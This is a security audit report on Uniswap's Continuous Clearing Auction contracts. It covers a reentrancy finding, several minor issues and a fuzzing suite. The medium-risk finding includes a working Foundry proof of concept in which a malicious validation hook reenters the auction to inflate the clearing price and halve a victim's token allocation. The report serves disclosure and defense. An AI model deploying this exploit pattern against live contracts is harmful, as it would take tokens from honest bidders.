Uniswap: Universal Continuous Clearing Auction

Security Review

Cantina Managed review by:
Devtooligan, Lead Security Researcher
Drastic Watermelon, Security Researcher

January 22, 2026

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Uniswap is an open source decentralized exchange that facilitates automated transactions between ERC20 token tokens on various EVM-based chains through the use of liquidity pools and automatic market makers (AMM).

2.1 Review 1: Initial Security Review

From Dec 28th to Jan 1st the Cantina team conducted a review of continuous-clearing-auction-internal on commit hash 69706612. The team identified a total of **7** issues:

Issues Found - Review 1

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	2	2	0
Gas Optimizations	0	0	0
Informational	4	0	4
Total	**7**	**3**	**4**

2.1.1 Scope - Review 1

The security review had the following components in scope for continuous-clearing-auction-internal on commit hash 69706612:

```
src
├── BidStorage.sol
├── CheckpointStorage.sol
├── ContinuousClearingAuction.sol
├── ContinuousClearingAuctionFactory.sol
├── lens
│   └── AuctionStateLens.sol
├── libraries
│   ├── BidLib.sol
│   ├── CheckpointAccountingLib.sol
│   ├── CheckpointLib.sol
│   ├── ConstantsLib.sol
│   ├── CurrencyLibrary.sol
│   ├── FixedPoint96.sol
│   ├── MaxBidPriceLib.sol
│   ├── StepLib.sol
│   ├── ValidationHookLib.sol
│   └── ValueX7Lib.sol
├── periphery
│   └── validationHooks
│       ├── BaseERC1155ValidationHook.sol
│       └── GatedERC1155ValidationHook.sol
├── StepStorage.sol
├── TickStorage.sol
└── TokenCurrencyStorage.sol
```

2.2 Review 2: PR 4 Security Review

From Jan 11th to Jan 13th the Cantina team conducted a review of continuous-clearing-auction-internal on commit hash af19ecf4. The team identified a total of **4** issues:

Issues Found - Review 2

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	0	0	0
Low Risk	0	0	0
Gas Optimizations	0	0	0
Informational	4	2	2
Total	**4**	**2**	**2**

2.2.1 Scope - Review 2

The security review had the following components in scope for continuous-clearing-auction-internal on commit hash af19ecf4:

```
src
├── ContinuousClearingAuction.sol
├── StepStorage.sol
└── TokenCurrencyStorage.sol
```

2.3 Combined Summary

Across both security reviews, the Cantina team identified a total of **11** issues:

Total Issues Found Across Both Reviews

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	2	2	0
Gas Optimizations	0	0	0
Informational	8	2	6
Total	**11**	**5**	**6**

3 Findings

4 Initial Review Findings

4.1 Medium Risk

4.1.1 Validation hook reentrancy can create phantom demand and distort clearing outcomes

Severity: Medium Risk

Context: ContinuousClearingAuction.sol#L428

Description: `_submitBid` performs a clearing-related validity check and then executes an external `VALIDATION_HOOK` call before finalizing the bid's demand accounting. Because the validation hook is an external call, a malicious (or incorrectly implemented) hook can reenter the auction during bid submission and call state-mutating functions such as `forceIterateOverTicks()`.

This creates a dangerous ordering window:

1. `_submitBid` checks the bid against the current clearing state.
2. `_submitBid` calls the external validation hook.
3. The hook reenters and forces tick iteration, advancing `nextActiveTickPrice` / `clearingPrice` based on accumulated demand.
4. Control returns to `_submitBid`, which then records the bid and unconditionally adds the bid's demand into `sumCurrencyDemandAboveClearingQ96`.

In the presence of same-block checkpoint behavior (where demand can accumulate without iteration being performed), the hook can force iteration to advance the tick pointer past the attacker's bid tick before the attacker's demand is added. When `_submitBid` resumes, it adds demand to a tick that is now behind `nextActiveTickPrice` while still incrementing the global "above clearing" accumulator. This creates *phantom demand*, demand that is counted in `sumCurrencyDemandAboveClearingQ96` but is no longer reachable by iteration from the active tick pointer, permanently corrupting clearing accounting.

Impact Explanation: This issue allows the auction's clearing-related accounting to become inconsistent ("phantom demand"), which can inflate the computed clearing price and distort allocation outcomes. This can cause honest bidders to receive fewer tokens than they would have under identical bidding conditions, because allocation math depends on the clearing price and/or the global demand accumulator.

The included proof of concept demonstrates this outcome distortion by running identical bid sequences under:

1. A benign hook and...
2. A malicious reentrant hook.

And asserting that the attacked scenario produces a higher clearing price and reduced victim token allocations.

Likelihood Explanation: The project team has indicated that it is possible the validation hook may be malicious but we still deem the likelihood as low.

Given the demonstrated ability to alter clearing outcomes and reduce honest bidder allocations, Medium severity is appropriate under the assumption that a malicious or faulty hook is within scope.

Recommendation: Implement a mitigation that ensures the validation hook cannot mutate clearing-related state mid-submission, or that any such mutation is re-validated before the bid is recorded. Any of the following (or a combination) will address the issue:

1. Reorder logic to eliminate the CEI hazard (ensure demand accounting cannot be added "behind" the pointer due to an external call).
2. Re-validate clearing constraints after the hook returns. Re-check `_maxPrice > $clearingPrice` after `VALIDATION_HOOK.handleValidate(...)` and before recording the bid / adding demand.
3. Add a reentrancy guard to block reentrancy into state-mutating clearing functions during bid submission (e.g., guard `forceIterateOverTicks` and/or `submitBid`).

Proof of Concept: Here, victims 1, 2, and 3 each submitted bids for 15 ETH. In the baseline, Victim3 received `~5e18` in tokens. After the exploit, Victim3 only received `2.5e18` in tokens.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from 'forge-std/Test.sol';
import {AuctionParameters, ContinuousClearingAuction} from
↪  '../../src/ContinuousClearingAuction.sol';
import {IValidationHook} from '../../src/interfaces/IValidationHook.sol';
import {FixedPoint96} from '../../src/libraries/FixedPoint96.sol';
import {Checkpoint} from '../../src/libraries/CheckpointLib.sol';
import {ERC20Mock} from 'openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol';
import {AuctionStepsBuilder} from '../utils/AuctionStepsBuilder.sol';
import {MockContinuousClearingAuction as AuctionHarness} from '../utils/MockAuction.sol';

contract BenignHook is IValidationHook {
    function validate(uint256, uint128, address, address, bytes calldata) external
    ↪  override {}
}

contract MaliciousHook is IValidationHook {
    ContinuousClearingAuction private immutable _auction;
    address private immutable _attacker;
    bool private _triggered;

    constructor(address auction_, address attacker_) {
        _auction = ContinuousClearingAuction(auction_);
        _attacker = attacker_;
    }

    function validate(uint256, uint128, address, address sender, bytes calldata)
    ↪  external override {
        if (sender == _attacker && !_triggered) {
            _triggered = true;
            _auction.forceIterateOverTicks(type(uint256).max);
        }
    }
}

contract M01_TokenLoss is Test {
    using AuctionStepsBuilder for bytes;

    ERC20Mock token;

    address attacker = makeAddr('attacker');
    address victim = makeAddr('victim');
    address bidder1 = makeAddr('bidder1');
    address bidder2 = makeAddr('bidder2');

    uint256 floorPrice = 1 << FixedPoint96.RESOLUTION;
    uint256 tickSpacing = 1 << FixedPoint96.RESOLUTION;
    uint128 totalSupply = 5e18;

    uint256 tick1;
    uint256 tick2;
    uint256 tick3;

    uint64 startBlock;
    uint64 endBlock;

    struct ScenarioResult {
        uint256 clearingPrice;
        uint256 victimTokens;
        uint256 attackerTokens;
        uint256 bidder1Tokens;
```

```
    uint256 bidder2Tokens;
}

function setUp() public {
    token = new ERC20Mock();

    tick1 = floorPrice + tickSpacing;
    tick2 = floorPrice + (2 * tickSpacing);
    tick3 = floorPrice + (3 * tickSpacing);

    startBlock = uint64(block.number + 1);
    endBlock = startBlock + 100;
}

function _deployAuction(address hook) internal returns (AuctionHarness) {
    AuctionParameters memory params = AuctionParameters({
        currency: address(0),
        tokensRecipient: address(0x1),
        fundsRecipient: address(0x2),
        startBlock: startBlock,
        endBlock: endBlock,
        claimBlock: endBlock + 100,
        tickSpacing: tickSpacing,
        validationHook: hook,
        floorPrice: floorPrice,
        requiredCurrencyRaised: 0,
        auctionStepsData: AuctionStepsBuilder.init().addStep(100_000, 100)
    });

    AuctionHarness auction = new AuctionHarness(address(token), totalSupply, params);
    token.mint(address(auction), totalSupply);
    auction.onTokensReceived();

    return auction;
}

function _runScenario(AuctionHarness auction) internal returns (ScenarioResult
↪   memory result) {
    vm.roll(startBlock);

    vm.deal(bidder1, 15e18);
    vm.prank(bidder1);
    uint256 bidder1BidId = auction.submitBid{value: 15e18}(tick1, 15e18, bidder1,
    ↪   floorPrice, '');

    vm.deal(bidder2, 15e18);
    vm.prank(bidder2);
    uint256 bidder2BidId = auction.submitBid{value: 15e18}(tick2, 15e18, bidder2,
    ↪   tick1, '');

    vm.deal(victim, 15e18);
    vm.prank(victim);
    uint256 victimBidId = auction.submitBid{value: 15e18}(tick3, 15e18, victim,
    ↪   tick2, '');

    vm.deal(attacker, 10e18);
    vm.prank(attacker);
    uint256 attackerBidId = auction.submitBid{value: 10e18}(tick2, 10e18, attacker,
    ↪   tick1, '');

    vm.roll(endBlock);
    Checkpoint memory cp = auction.checkpoint();
    result.clearingPrice = cp.clearingPrice;

    _exitBidIfAboveClearing(auction, victimBidId, tick3, cp.clearingPrice);
```

```
        result.victimTokens = auction.getBid(victimBidId).tokensFilled;
        result.attackerTokens = auction.getBid(attackerBidId).tokensFilled;
        result.bidder1Tokens = auction.getBid(bidder1BidId).tokensFilled;
        result.bidder2Tokens = auction.getBid(bidder2BidId).tokensFilled;
    }

    function _exitBidIfAboveClearing(
        AuctionHarness auction,
        uint256 bidId,
        uint256 maxPrice,
        uint256 clearingPrice
    ) internal {
        if (maxPrice > clearingPrice) {
            auction.exitBid(bidId);
        } else if (maxPrice == clearingPrice) {
            auction.exitPartiallyFilledBid(bidId, startBlock, 0);
        }
    }

    function test_TokenLoss_BaselineVsAttacked() public {
        BenignHook benignHook = new BenignHook();
        AuctionHarness baselineAuction = _deployAuction(address(benignHook));
        ScenarioResult memory baseline = _runScenario(baselineAuction);

        token = new ERC20Mock();
        address predictedAuction = vm.computeCreateAddress(address(this),
        ↪  vm.getNonce(address(this)) + 1);
        MaliciousHook maliciousHook = new MaliciousHook(predictedAuction, attacker);
        AuctionHarness attackedAuction = _deployAuction(address(maliciousHook));
        ScenarioResult memory attacked = _runScenario(attackedAuction);

        assertGt(baseline.victimTokens, 4.9e18);
        assertEq(attacked.victimTokens, 2.5e18);
        assertEq(baseline.victimTokens - attacked.victimTokens, 2.5e18 - 1);
    }
}
```

Uniswap Labs: Fixed in PR 10.

Cantina Managed: Fix verified.

4.2 Low Risk

4.2.1 `BatchClaimDifferentOwner` error parameters are reversed

Severity: Low Risk

Context: ContinuousClearingAuction.sol#L685

Description: The `ContinuousClearingAuction.claimTokensBatch` method may revert with a `BatchClaimDifferentOwner` error if the caller-supplied argument `_owner` doesn't match the owner of at least one of the claimed bids.

The thrown error uses two address parameters, `expectedOwner` and `receivedOwner`, as a part of its revert data. However, the current implementation passes these arguments in the wrong order:

- `_owner`, the caller-supplied address, is passed as the first parameter.
- `bidOwner`, the bid owner's address taken from storage, is passed as the second parameter.

This ordering is inconsistent with the error's parameter names.

Recommendation: Swap the arguments provided to the `BatchClaimDifferentOwner` error to align with its named parameters:

- Pass the address from contract storage as `expectedOwner`.
- Pass the caller-supplied _owner as `receivedOwner`.

Uniswap Labs: Fixed in PR 13.

Cantina Managed: Fix verified.

4.2.2 ERC1155 gating logic does not respect Arbitrum block number semantics

Severity: Low Risk

Context: GatedERC1155ValidationHook.sol#L25

Description: The `GatedERC1155ValidationHook` uses Solidity's native `block.number` for gating. On Arbitrum, `block.number` does not reflect the L2 block height - the correct L2 block number is accessed via the `ArbSys.arbBlockNumber()` precompile (see Arbitrum docs).

Using raw `block.number` here can cause the gate's timing to be evaluated on the wrong block-domain relative to the rest of the auction, which uses the `BlockNumberish` abstraction.

Recommendation: Use the existing `BlockNumberish` library to ensure the gating logic uses the correct block number domain for Arbitrum deployments.

Uniswap Labs: Fixed in PR 12.

Cantina Managed: Fix verified.

4.3 Informational

4.3.1 `GatedERC1155ValidationHook` constructor is missing an event emission

Severity: Informational

Context: GatedERC1155ValidationHook.sol#L13-L15

Description: `GatedERC1155ValidationHook.sol`'s constructor should emit an event to signal the value assigned to the `gateUntil` immutable.

Recommendation: Define a `GateUntilSet` event and emit it within the contract's constructor.

Uniswap Labs: Acknowledged.

Cantina Managed: Acknowledged.

4.3.2 `ContinuousClearingAuction.submitBid` documentation can be more precise

Severity: Informational

Context: ContinuousClearingAuction.sol#L508

Description: The documentation provided for the `ContinuousClearingAuction.submitBid` could benefit from specifying whether the mentioned `startBlock` and `endBlock` boundaries are included or not.

Recommendation: Within the highlighted documentation comment, specify that `startBlock` is included in the period in time within which bids may be submitted, while `endBlock` is not.

Uniswap Labs: Acknowledged.

Cantina Managed: Acknowledged.

4.3.3 Unnecessary owner check in `ContinuousClearingAuction.claimTokensBatch`

Severity: Informational

Context: ContinuousClearingAuction.sol#L684-L686

Description: `ContinuousClearingAuction.claimTokensBatch` executes an unncessary check ensuring that the calldata argument `_owner`, matches `bid.owner` for every bid being claimed.

Recommendation: The check may be removed from the highlighted method, as long as one of the following changes are executed:

1. The method is refactored to allow for bids from different owners to be claimed within a single call.

2. The method is refactored to not require that the expected owner of all claimed bids be passed as calldata, but rather read from storage associated with the first claimed bid.

Uniswap Labs: Acknowledged. We will just keep this as is for now despite the gas inefficiency and plan to improve/rewrite this in the future.

Cantina Managed: Acknowledged.

4.3.4 Property-based fuzzing suite for `ContinuousClearingAuction`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Summary: As part of this review, a general-purpose Echidna property-based fuzzing suite was built for `ContinuousClearingAuction` to act as a long-term security regression harness. The suite is designed to exercise realistic and adversarial behavior across randomized multi-actor sequences and to detect violations in auction correctness, reentrancy boundaries, tick linked-list integrity, and overall state consistency.

Key configuration note: It is suggested to run the suite with `maxBlockDelay` set to `1`. The auction is time-bounded to a 100-block window. Without constraining block advancement, Echidna can easily skip past the active bidding phase, causing bid submissions to revert and be silently swallowed by handlers, which leads to vacuous fuzzing and false confidence.

Invariants: A total of 25 invariants were created that collectively enforce auction safety, accounting correctness, reentrancy resistance, tick-list integrity, and liveness. These invariants are evaluated continuously across randomized handler sequences.

Highlights include:

- Tick list integrity: the tick linked list must not contain cycles and must remain monotonically ordered by price.
- Active tick validity: `nextActiveTickPrice` must always be above the current clearing price unless the list is exhausted.
- Bid correctness: no bid may be recorded below the clearing price.
- Refund safety: refunded currency must never exceed the original deposited amount.
- Clearing synchronization: `clearingPrice()` must match the latest checkpoint clearing price after checkpointing.
- Global demand consistency: global `sumCurrencyDemandAboveClearingQ96` must equal the sum of demand reachable by traversing the tick linked list from `nextActiveTickPrice`. This invariant is the one that ultimately surfaced "Validation hook reentrancy can create phantom demand and distort clearing outcomes"

Handlers: A total of 25 handlers were implemented that model the full auction lifecycle and stress ordering effects across different phases.

Highlights include:

- Bid submission handlers for honest, aggressive, and passive actors to create realistic market state.
- Adversarial bid submission that configures malicious hook behavior for that call.
- Chaos-style execution that attempts multiple hook behaviors in a single validation path.
- Checkpoint execution to stress clearing price and state synchronization.
- Forced iteration over ticks to exercise DoS mitigation and tick traversal logic.
- Post-auction exit handlers for fully filled and partially filled bids.
- Token claim and batch claim handlers to exercise distribution paths.
- Boundary handlers for auction start, auction end, and near-end timing.
- Rapid interleaving handlers that execute multiple operations back-to-back to stress ordering and state transitions.

Actors: The suite models 20 actors, grouped into four behavioral profiles: honest bidders, aggressive bidders, passive bidders, and attackers. This allows the fuzzer to explore interactions between competing market behaviors and adversarial activity.

Adversarial Hook Implementation: The suite includes a malicious hook implementation that executes during bid validation. The hook supports 31 distinct attack modes, including forced iteration, nested bid attempts, forced checkpointing, exits, sweeps, claims, and multi-step patterns such as chained and chaos behaviors.

The full test suite can be found in gist e41bd158331de9b4a50fad4417b977d9.

Uniswap Labs: Acknowledged.

Cantina Managed: Acknowledged.

5 PR 4 Review Findings

5.1 Informational

5.1.1 Missing test coverage for `lbpInitializationParams` and `supportsInterface`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: There is no test coverage for Missing test coverage for the new `lbpInitializationParams` and `supportsInterface` functions on the `ContinuousClearingAuction` contract.

Recommendation: Add appropriate test coverage to ensure correctness and aid in maintainability.

Uniswap Labs: Fixed in PR 16.

Cantina Managed: Fix verified.

5.1.2 Misleading custom error name

Severity: Informational

Context: ContinuousClearingAuction.sol#L153

Description: The `AuctionIsNotOver` error is technically incorrect in this situation since it could also be triggered when the auction was over but not checkpointed.

Recommendation: For clarity, consider using an error name such as `AuctionNotFinalized`.

Uniswap Labs: Fixed in PR 16.

Cantina Managed: Fix verified.

5.1.3 Missing `isGraduated` check in `lbpInitializationParams`

Severity: Informational

Context: ContinuousClearingAuction.sol#L151

Description: The `lbpInitializationParams` function may incorrectly return values when the auction is not graduated. This may lead to confusion or other problems with integrators.

Recommendation: Consider checking for `_isGraduated` and returning zero values if it is not graduated.

Uniswap Labs: Acknowledged. Graduation is not part of the shared `ILBPInitializer` interface, which creates an inconsistency where these values may be exposed even though no currency transfer occurs prior to graduation. We will evaluate the appropriate handling for this state to ensure returned values accurately reflect the auction lifecycle.

Cantina Managed: Acknowledged.

5.1.4 Prefer interfaceId to hardcoded constant

Severity: Informational

Context: ILBPInitializer.sol#L9

Description: Using a hardcoded, pre-calculated magic value here may result in an incorrect value in the future if the the `ILBInitializer` changes.

Recommendation: To avoid ambiguity and protect against future drift, consider using:

```
bytes4 constant ILBP_INITIALIZER_INTERFACE_ID = type(ILBPInitializer).interfaceId;
```

Uniswap Labs: Acknowledged. We will update this in the token launcher repo.

Cantina Managed: Acknowledged.